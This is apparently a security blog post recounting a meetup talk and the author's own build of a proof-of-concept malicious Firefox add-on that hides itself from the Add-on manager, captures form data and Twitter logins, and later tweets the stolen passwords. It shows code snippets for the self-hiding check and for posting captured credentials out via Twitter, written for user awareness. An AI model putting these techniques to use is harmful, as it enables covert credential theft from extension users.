Malicious Firefox Add-on Sweatshop
So, a couple of months ago at the DC405 we were lucky enough to have Tim Skorick come and speak with the group about the dangers of browser extensions. His talk sparked several ideas for things that a malicious individual might do to gain control of the browser and what she might do once she’s there.
Since Tim didn’t drop any sample code off (after working through this I can see why), I wondered just how difficult it might be to get from zero knowledge to a working malicious plugin. As it turns out, it’s not difficult at all.
I sat out to make an extension that had some semi-interesting/real functionality (something that would get people to install it, maybe even on multiple machines) and then have some triggerd malicious action performed, like storing their passwords from various websites for a while and then one day tweeting them all out using captured twitter credentials.
The first order of business was to get a plugin up and running. Following the documentation at https://developer.mozilla.org/en/Extensions gets you most of that. It’s probably not a bad idea to install all of the “helper” extensions they list, but I was able to get by with only “Chrome List“, “Console2″ and “Extension Developer”.
My goals didn’t actually require much alteration of existing functionality. All I needed to do was give the browser some new behaviors. Our entirely fictional add-on is called Mememe (there is no code, don’t ask;). Once installed Mememe reads every page that a user visits, parses it for keywords that might be related to a meme and if a given threshold is met, drives the user off to a related meme website. For instance, 3 occurrences of ‘Steve Ballmer’ would drive the user to the Developers Developers Developers remix. Additionally, Mememe adds nothing to the default Chrome (i.e. a menu in Tools). In fact, we used the technique demonstrated by azureIt in his FFsniFF extension to hide our extension from the Add-on manager. It’s as simple as changing the ‘name’ check in the HideMe function to whatever name was given in the install.rdf file.
if (name == "Meme Me") {
Container.RemoveElement(element, true);
}
I added two new window.addEventListener() handlers, one for load that would give us the prank functionality and one for submit events that would help us capture form data. The load function seemed a bit strange, widely discussed and riddled with non-working solutions, but we can go find similar functionality (I used Long URL Please) and take a page from their playbook.
In my case I needed to get specific with Twitter(so that I knew credentials for later), and just store any other form data as it comes. It was easy enough to check the title element and grab the form data. This is where we had to start venturing into XPCOM, a rich API for interacting with a component object model. Writing things to disk and reading them back was easy enough using the nsiLocalFile interface and examples of these common tasks are provided in the Mozilla documentation.
All that was left was Tweeting things out using stored credentials. We could add a function with a xmlHttpRequest that looked something like:
var statusURL = "http://" + credentials + "@twitter.com/statuses/update.xml?status="+payload;
var xmlRequest = new XMLHttpRequest();
xmlRequest.open("POST", statusURL, true);
//It wants to post data so badly, these lines are req'd.
var parms = "";
xmlRequest.send(parms);
Within hours, research and all, we have some evil/creepy stuff. We should be educating users, family, our organizations and each other on just how quickly things can go wrong installing extensions in our browsers. It’s important to remember that a plugin can go rogue both intentionally and unintentionally. Be careful with what you plugin!
